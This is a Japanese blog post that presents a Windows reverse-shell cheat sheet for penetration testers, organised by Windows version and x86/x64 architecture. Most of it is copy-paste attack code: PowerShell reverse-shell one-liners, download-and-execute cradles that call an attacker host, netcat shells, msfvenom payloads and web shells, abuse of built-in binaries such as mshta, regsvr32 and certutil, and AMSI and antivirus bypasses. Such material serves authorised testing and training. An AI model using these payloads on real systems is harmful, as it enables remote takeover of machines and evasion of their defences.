Post

Windowsリバースシェル チートシート — Win7〜Win11 x86/x64対応

Windowsペネトレーションテストのための完全なリバースシェルコマンドリファレンス。PowerShell、cmd.exe、certutil、mshta、rundll32、msfvenomペイロードなどをOSバージョン別・アーキテクチャ別(x86/x64)に整理し、互換性マトリックス付きで解説。

Windowsリバースシェル チートシート — Win7〜Win11 x86/x64対応

TL;DR

WindowsターゲットでRCEを確立した後、次のステップはインタラクティブなリバースシェルへのアップグレードである。本チートシートでは、レガシーWin7 x86からモダンWin11 x64まで、Windowsにおける実用的なリバースシェル手法をすべて提供する。手法・アーキテクチャ・OS互換性別に整理。

クイック選択ガイド:

状況 推奨手法
PowerShell利用可能(Win7 SP1+) PowerShell TCP ワンライナー
PowerShellブロック / 制約あり certutil + コンパイル済みnc.exe
Webシェル / ブラインドRCEのみ mshta or rundll32 ワンライナー
アウトバウンドTCP不可 HTTP/S経由のPowerShellリバースシェル
AV/EDRアクティブ msfvenom暗号化ペイロード or カスタムC#
最新Win10/11 + Defender AMSIバイパス + 難読化PowerShell

リスナーのセットアップ(攻撃者側)

リバースシェルをトリガーする前に必ずリスナーを起動する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本的なnetcatリスナー
nc -lvnp 4444

# rlwrapでreadlineサポート(矢印キー、履歴)
rlwrap -cAr nc -lvnp 4444

# Metasploit multi/handler(msfvenomペイロード用)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST <KALI_IP>; set LPORT 4444; run"

# Metasploit meterpreterハンドラー
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <KALI_IP>; set LPORT 4444; run"

# socat(暗号化TLSリスナー)
socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

OS・ツール互換性マトリックス

Windowsバージョン別の組み込みツール

ツール / 機能 Win7 SP1 Win8/8.1 Win10 (1507–1809) Win10 (1903+) Win11 Arch
cmd.exe 両方
PowerShell 2.0 非推奨 非推奨 非推奨 両方
PowerShell 5.1 更新要 両方
certutil.exe 両方
bitsadmin.exe 両方
mshta.exe 両方
rundll32.exe 両方
regsvr32.exe 両方
curl.exe 不可 不可 不可 両方
ssh.exe(OpenSSH) 不可 不可 1803+ x64
WDAC / AMSI 不可 不可 両方
Constrained Language Mode 不可 一般的 一般的 一般的 両方

非推奨 = 廃止予定だが依然として存在。PowerShell 2.0はDisable-WindowsOptionalFeatureで削除可能。

アーキテクチャに関する注意

アーキテクチャ System32パス PowerShellパス
x86(32ビットOS) C:\Windows\System32\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
x64(64ビットOS、64ビットプロセス) C:\Windows\System32\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
x64(64ビットOS、WoW64経由の32ビットプロセス) C:\Windows\SysWOW64\ C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
x64(32ビットから64ビットにアクセス) C:\Windows\Sysnative\ C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe

OSCPメモ: 64ビットOSで32ビットのWebシェルを持っている場合、64ビットバイナリにアクセスするにはC:\Windows\Sysnative\を使用する。64ビットペイロードの実行や実際のSystem32へのアクセスに必須。


1. PowerShellリバースシェル

1a. 基本TCPリバースシェル(ワンライナー)

互換性: Win7 SP1+(PS 2.0+)、x86/x64

1
powershell -nop -ep bypass -c "$c=New-Object System.Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS '+(pwd).Path+'> ';$m=([text.encoding]::ASCII).GetBytes($t);$s.Write($m,0,$m.Length);$s.Flush()};$c.Close()"

短縮版(コマンド長制限がある場合):

1
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();$b=New-Object byte[] 65535;while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=([text.encoding]::ASCII).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"

1b. PowerShell Base64エンコード(簡易フィルタ回避)

互換性: Win7 SP1+、x86/x64

攻撃者マシンで生成:

1
2
3
4
# Base64エンコードされたリバースシェルコマンドを生成
REVERSE_SHELL='$c=New-Object System.Net.Sockets.TCPClient("<KALI_IP>",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+"PS "+(pwd).Path+"> ";$m=([text.encoding]::ASCII).GetBytes($t);$s.Write($m,0,$m.Length);$s.Flush()};$c.Close()'

echo -n "$REVERSE_SHELL" | iconv -t UTF-16LE | base64 -w 0

ターゲットで実行:

powershell -nop -ep bypass -enc <BASE64_STRING>

1c. PowerShell ダウンロード実行(クレードル)

互換性: Win7 SP1+、x86/x64

攻撃者側でshell.ps1をホスト:

1
2
3
4
5
6
7
8
9
10
11
12
13
# shell.ps1(攻撃者のWebサーバー上)
$c = New-Object System.Net.Sockets.TCPClient('<KALI_IP>',4444)
$s = $c.GetStream()
[byte[]]$b = 0..65535|%{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object System.Text.ASCIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $t = $r + 'PS ' + (pwd).Path + '> '
    $m = ([text.encoding]::ASCII).GetBytes($t)
    $s.Write($m, 0, $m.Length)
    $s.Flush()
}
$c.Close()

ダウンロードクレードル(ターゲットで実行):

1
2
3
4
5
6
7
8
# 方法1:IEX + WebClient(最も一般的)
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

# 方法2:IEX + Invoke-WebRequest(PS 3.0+ / Win8+)
powershell -nop -ep bypass -c "IEX(Invoke-WebRequest -Uri 'http://<KALI_IP>/shell.ps1' -UseBasicParsing).Content"

# 方法3:IEX + curlエイリアス(Win10 1903+ネイティブcurl)
powershell -nop -ep bypass -c "IEX(curl http://<KALI_IP>/shell.ps1 -UseBasicParsing).Content"

1d. PowerCat経由

互換性: Win7 SP1+、x86/x64

1
2
# powercatをダウンロードして実行
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/powercat.ps1'); powercat -c <KALI_IP> -p 4444 -e cmd.exe"

1e. Nishang Invoke-PowerShellTcp

互換性: Win7 SP1+、x86/x64

1
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <KALI_IP> -Port 4444"

1f. ConPtyシェル(完全インタラクティブ)

互換性: Win10 1809+、x64

適切なTTYサポートによる完全インタラクティブシェルを提供:

1
2
IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-ConPtyShell.ps1')
Invoke-ConPtyShell -RemoteIp <KALI_IP> -RemotePort 4444 -Rows 24 -Cols 80

リスナー(攻撃者側 — 適切なサイズ調整にsttyを使用):

1
stty raw -echo; (stty size; cat) | nc -lvnp 4444

2. コンパイル済みバイナリ リバースシェル

2a. Netcat(nc.exe / ncat.exe)

互換性: 全Windowsバージョン、x86/x64(コンパイル済みバイナリに依存)

:: 従来のnetcat
nc.exe <KALI_IP> 4444 -e cmd.exe
nc.exe <KALI_IP> 4444 -e powershell.exe

:: ncat(Nmapのnetcat — SSL対応)
ncat.exe <KALI_IP> 4444 -e cmd.exe --ssl

nc.exeをターゲットに転送:

:: certutil(Win7+)
certutil -urlcache -split -f http://<KALI_IP>/nc.exe C:\Temp\nc.exe

:: bitsadmin(Win7+)
bitsadmin /transfer job http://<KALI_IP>/nc.exe C:\Temp\nc.exe

:: PowerShell(Win7 SP1+)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<KALI_IP>/nc.exe','C:\Temp\nc.exe')"

:: curl(Win10 1903+)
curl http://<KALI_IP>/nc.exe -o C:\Temp\nc.exe

:: SMB共有(ダウンロード不要)
\\<KALI_IP>\share\nc.exe <KALI_IP> 4444 -e cmd.exe

Kali上のコンパイル済みnc.exeの場所:

1
2
3
4
5
6
# x86
locate nc.exe | grep win
/usr/share/windows-resources/binaries/nc.exe          # x86(32ビット)

# x64 — コンパイルまたはnmapのncatを使用
apt install ncat

2b. msfvenomペイロード

アーキテクチャ固有のペイロードを生成する最も信頼性の高い方法。

Staged vs Stageless

タイプ フラグ サイズ 互換性 用途
Staged shell/reverse_tcp 約3 KB Metasploitハンドラー必須 ペイロードが小さい、バッファ制限時に有効
Stageless shell_reverse_tcp 約70 KB ncリスナーで動作 大きいが自己完結型

x86(32ビット)ペイロード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cmd.exeリバースシェル(stageless)— ncリスナーで動作
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell32.exe

# cmd.exeリバースシェル(staged)— Metasploitハンドラー必須
msfvenom -p windows/shell/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell32_staged.exe

# meterpreter(staged)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o met32.exe

# DLLペイロード(DLLインジェクション / ハイジャック用)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f dll -o payload32.dll

# MSIペイロード(AlwaysInstallElevated用)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f msi -o shell32.msi

# HTAペイロード
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f hta-psh -o shell.hta

# PowerShellコマンド
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f psh-cmd -o shell.bat

# ASP Webシェル
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f asp -o shell.asp

# ASPX Webシェル
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f aspx -o shell.aspx

# WAR(Tomcat)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f war -o shell.war

x64(64ビット)ペイロード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# cmd.exeリバースシェル(stageless)— ncリスナーで動作
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell64.exe

# cmd.exeリバースシェル(staged)— Metasploitハンドラー必須
msfvenom -p windows/x64/shell/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell64_staged.exe

# meterpreter(staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o met64.exe

# DLLペイロード
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f dll -o payload64.dll

# MSIペイロード
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f msi -o shell64.msi

# PowerShellスクリプト(Base64エンコード)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f psh -o shell64.ps1

# EXE-Service(サービスエクスプロイト用 — 適切なServiceMain)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe-service -o svc64.exe

# 生シェルコード(インジェクション用)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f raw -o sc64.bin

エンコーダー / 回避オプション

1
2
3
4
5
6
7
8
# x86 shikata_ga_naiエンコーダー(基本的なAV回避)
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded32.exe

# x64 XORエンコーダー
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -e x64/xor_dynamic -f exe -o encoded64.exe

# ペイロード暗号化(エンコードより効果的)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 --encrypt aes256 --encrypt-key <KEY> -f exe -o encrypted64.exe

3. Windowsネイティブバイナリの悪用(LOLBins)

組み込みWindows バイナリを使用 — 初期トリガーのファイル転送不要。

3a. mshta.exe(Microsoft HTMLアプリケーションホスト)

互換性: Win7+、x86/x64

:: ワンライナー — HTAが攻撃者からペイロードをダウンロードして実行
mshta http://<KALI_IP>/shell.hta

:: インラインVBScriptリバースシェル
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -ep bypass -c """"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"""" "", 0:close")

HTAペイロードのホスト(攻撃者側):

1
2
3
4
5
# msfvenomで生成
msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f hta-psh -o shell.hta

# 配信
python3 -m http.server 80

3b. rundll32.exe

互換性: Win7+、x86/x64

:: rundll32経由でJavaScriptを実行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')")

:: SMB共有からDLLをロード
rundll32.exe \\<KALI_IP>\share\payload.dll,EntryPoint

3c. regsvr32.exe(Squiblydoo)

互換性: Win7+、x86/x64 — AppLockerデフォルトルールをバイパス

:: リモートサーバーからSCTファイルをダウンロードして実行
regsvr32 /s /n /u /i:http://<KALI_IP>/shell.sct scrobj.dll

SCTペイロード(攻撃者上のshell.sct):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?XML version="1.0"?>
<scriptlet>
<registration
    description="Pentest"
    progid="Pentest"
    version="1.00"
    classid="{AAAA-BBBB-CCCC-DDDD}"
    remotable="true">
</registration>
<script language="JScript">
<![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')");
]]>
</script>
</scriptlet>

3d. certutil.exe(ダウンロード + デコード)

互換性: Win7+、x86/x64

:: ペイロードをダウンロード
certutil -urlcache -split -f http://<KALI_IP>/shell.exe C:\Temp\shell.exe

:: 実行
C:\Temp\shell.exe

:: 代替:Base64ペイロードをデコード
certutil -decode encoded.txt C:\Temp\shell.exe

:: 複合:ダウンロード → デコード → 実行
certutil -urlcache -split -f http://<KALI_IP>/shell.b64 C:\Temp\shell.b64 && certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe && C:\Temp\shell.exe

3e. bitsadmin.exe

互換性: Win7+、x86/x64

:: ファイルダウンロード
bitsadmin /transfer job /download /priority high http://<KALI_IP>/shell.exe C:\Temp\shell.exe

:: 実行
C:\Temp\shell.exe

3f. cscript / wscript(VBS/JS)

互換性: Win7+、x86/x64

VBScriptリバースシェル(shell.vbs):

Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')""", 0, False
cscript C:\Temp\shell.vbs
wscript C:\Temp\shell.vbs

JScriptリバースシェル(shell.js):

1
2
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\"", 0, false);
cscript C:\Temp\shell.js
wscript C:\Temp\shell.js

3g. MSIEXEC

互換性: Win7+、x86/x64

:: リモートURLからMSIを実行
msiexec /quiet /qn /i http://<KALI_IP>/shell.msi

:: ローカルパスからMSIを実行
msiexec /quiet /qn /i C:\Temp\shell.msi

4. Webベースリバースシェル

4a. ASP / ASPX(IIS)

ASP(Classic — x86):

<%
Set objShell = Server.CreateObject("WScript.Shell")
Set cmd = objShell.Exec("cmd /c powershell -nop -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')""")
%>

ASPX(.NET — x86/x64):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\"";
p.StartInfo.UseShellExecute = false;
p.Start();
%>

4b. PHP(XAMPP / カスタム)

1
<?php system("powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')\""); ?>

4c. JSP(Tomcat)

1
2
3
4
<%
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("cmd /c powershell -nop -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')");
%>

5. SSHリバーストンネル(Win10 1803+)

互換性: Win10 1803+、x64(OpenSSHクライアント組み込み)

:: リバースSSHトンネル — 攻撃者のポート4444を開き、ターゲットのcmdに転送
ssh -R 4444:127.0.0.1:445 attacker@<KALI_IP>

:: サービスを公開するリモートポートフォワード
ssh -N -R 9999:127.0.0.1:3389 attacker@<KALI_IP>

6. AMSIバイパス + リバースシェル(Win10/11)

AMSI(Antimalware Scan Interface)が有効なモダンWindowsでは、PowerShellコマンドは実行前にスキャンされる。まずAMSIをバイパスし、その後リバースシェルを実行する。

一般的なAMSIバイパス

1
2
3
4
5
6
7
8
# リフレクションバイパス(頻繁にパッチ適用 — 必要に応じて難読化)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 難読化バリアント
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils');$f=$a.GetField('am'+'siInitFailed','NonPublic,Static');$f.SetValue($null,$true)

# PowerShell 2.0ダウングレード(AMSIを完全にバイパス — PS 2.0がまだインストールされている場合)
powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

複合:AMSIバイパス + リバースシェル

1
powershell -nop -ep bypass -c "$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils');$f=$a.GetField('am'+'siInitFailed','NonPublic,Static');$f.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

7. WoW64 — 32ビットプロセスから64ビットシェルを実行

64ビットOSで32ビットWebアプリケーションをエクスプロイトする場合、WoW64(32ビット)プロセスで実行されている可能性がある。ネイティブ64ビットシェルを取得するには:

:: 32ビットプロセスから、Sysnative経由で64ビットPowerShellにアクセス
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

:: 32ビットプロセスから、64ビットcmd.exeを実行
C:\Windows\Sysnative\cmd.exe /c C:\Temp\shell64.exe

:: 32ビットプロセスから、64ビットnc.exeを実行
C:\Windows\Sysnative\cmd.exe /c C:\Temp\nc64.exe <KALI_IP> 4444 -e cmd.exe

アーキテクチャの検出

:: 現在のプロセスアーキテクチャを確認
echo %PROCESSOR_ARCHITECTURE%
:: AMD64 = 64ビットプロセス
:: x86   = 32ビットプロセス(64ビットOSではWoW64の可能性)

:: OSアーキテクチャを確認
wmic os get osarchitecture
:: 64ビット
1
2
3
# PowerShell — WoW64で実行中か確認
[Environment]::Is64BitProcess    # True = 64ビット、False = 32ビット(WoW64)
[Environment]::Is64BitOperatingSystem  # True = 64ビットOS

8. シェルのアップグレードと安定化

基本的なリバースシェルを取得した後、使いやすさを向上させるためにアップグレードする。

cmd.exe → PowerShell

powershell -nop -ep bypass

基本シェル → インタラクティブシェル(rlwrap)

1
2
# 攻撃者側(シェルをキャッチする前に)
rlwrap -cAr nc -lvnp 4444

ConPty完全インタラクティブシェル(Win10 1809+)

1
2
3
# ターゲット側(初期シェル取得後)
IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/Invoke-ConPtyShell.ps1')
Invoke-ConPtyShell -RemoteIp <KALI_IP> -RemotePort 4445 -Rows 24 -Cols 80
1
2
# 攻撃者側
stty raw -echo; (stty size; cat) | nc -lvnp 4445

ペイロード互換性マトリックス

OS・アーキテクチャ別 msfvenomペイロード

OS Arch Stagelessペイロード Stagedペイロード
Win7 SP1 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win7 SP1 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win8/8.1 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win8/8.1 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win10 x86 windows/shell_reverse_tcp windows/shell/reverse_tcp
Win10 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Win11 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2008 R2 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2012/R2 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2016 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2019 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp
Server 2022 x64 windows/x64/shell_reverse_tcp windows/x64/shell/reverse_tcp

ユースケース別フォーマット

シナリオ msfvenom -fフォーマット 出力
スタンドアロン実行ファイル exe .exeファイル
サービスエクスプロイト(適切なServiceMain) exe-service .exeファイル
DLLインジェクション / ハイジャック dll .dllファイル
AlwaysInstallElevated msi .msiファイル
IIS Classic ASP asp .aspファイル
IIS .NET aspx .aspxファイル
Tomcat war .warファイル
HTA(mshta.exe) hta-psh .htaファイル
PowerShellスクリプト psh .ps1ファイル
PowerShellワンライナー(cmd) psh-cmd .batファイル
生シェルコード raw .binファイル
Cシェルコード配列 c Cソース
C#シェルコード配列 csharp C#ソース
Pythonシェルコード python Pythonソース

判断フローチャート

flowchart TD
    A[RCE確立] --> B{PowerShell実行可能?}
    B -->|可| C{AMSI / Defenderアクティブ?}
    C -->|不可| D[PowerShell TCPワンライナー]
    C -->|可| E{PS 2.0利用可能?}
    E -->|可| F["powershell -version 2 + リバースシェル"]
    E -->|不可| G[AMSIバイパス + 難読化PS]
    B -->|不可 / ブロック| H{ファイルダウンロード可能?}
    H -->|可 certutil/curl| I{ターゲットアーキテクチャ判明?}
    I -->|x86| J[msfvenom windows/shell_reverse_tcp -f exe]
    I -->|x64| K[msfvenom windows/x64/shell_reverse_tcp -f exe]
    I -->|不明| L[x86ペイロードを使用 — WoW64で両方動作]
    H -->|ダウンロード不可| M{mshta利用可能?}
    M -->|可| N["mshta http://attacker/shell.hta"]
    M -->|不可| O{regsvr32利用可能?}
    O -->|可| P[regsvr32 Squiblydoo SCT]
    O -->|不可| Q[rundll32 JavaScript実行]

    D --> R[シェル受信]
    F --> R
    G --> R
    J --> R
    K --> R
    L --> R
    N --> R
    P --> R
    Q --> R

    R --> S{64ビットOSで32ビットプロセス?}
    S -->|可| T["Sysnativeパスで64ビットアクセス"]
    S -->|不可| U["シェルアップグレード: rlwrap / ConPty"]

クイックリファレンス — コピペ用コマンド

攻撃者側セットアップ

1
2
3
4
5
6
7
8
# 1. ペイロードをホストするWebサーバーを起動
python3 -m http.server 80

# 2. SMBサーバーを起動(オプション)
impacket-smbserver share . -smb2support

# 3. リスナーを起動
rlwrap -cAr nc -lvnp 4444

ターゲット側実行(いずれかを選択)

:: PowerShellワンライナー(Win7+)
powershell -nop -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('<KALI_IP>',4444);$s=$c.GetStream();$b=New-Object byte[] 65535;while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=([text.encoding]::ASCII).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"

:: PowerShellダウンロードクレードル(Win7+)
powershell -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

:: certutil + nc.exe(Win7+、全アーキテクチャ)
certutil -urlcache -split -f http://<KALI_IP>/nc.exe C:\Temp\nc.exe && C:\Temp\nc.exe <KALI_IP> 4444 -e cmd.exe

:: mshta(Win7+、ファイル書込なし)
mshta http://<KALI_IP>/shell.hta

:: regsvr32 Squiblydoo(Win7+、AppLockerバイパス)
regsvr32 /s /n /u /i:http://<KALI_IP>/shell.sct scrobj.dll

:: msiexec(Win7+、リモートMSI)
msiexec /quiet /qn /i http://<KALI_IP>/shell.msi

:: 32ビットプロセスから64ビット(Sysnative)
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>/shell.ps1')"

参考文献

This post is licensed under CC BY 4.0 by the author.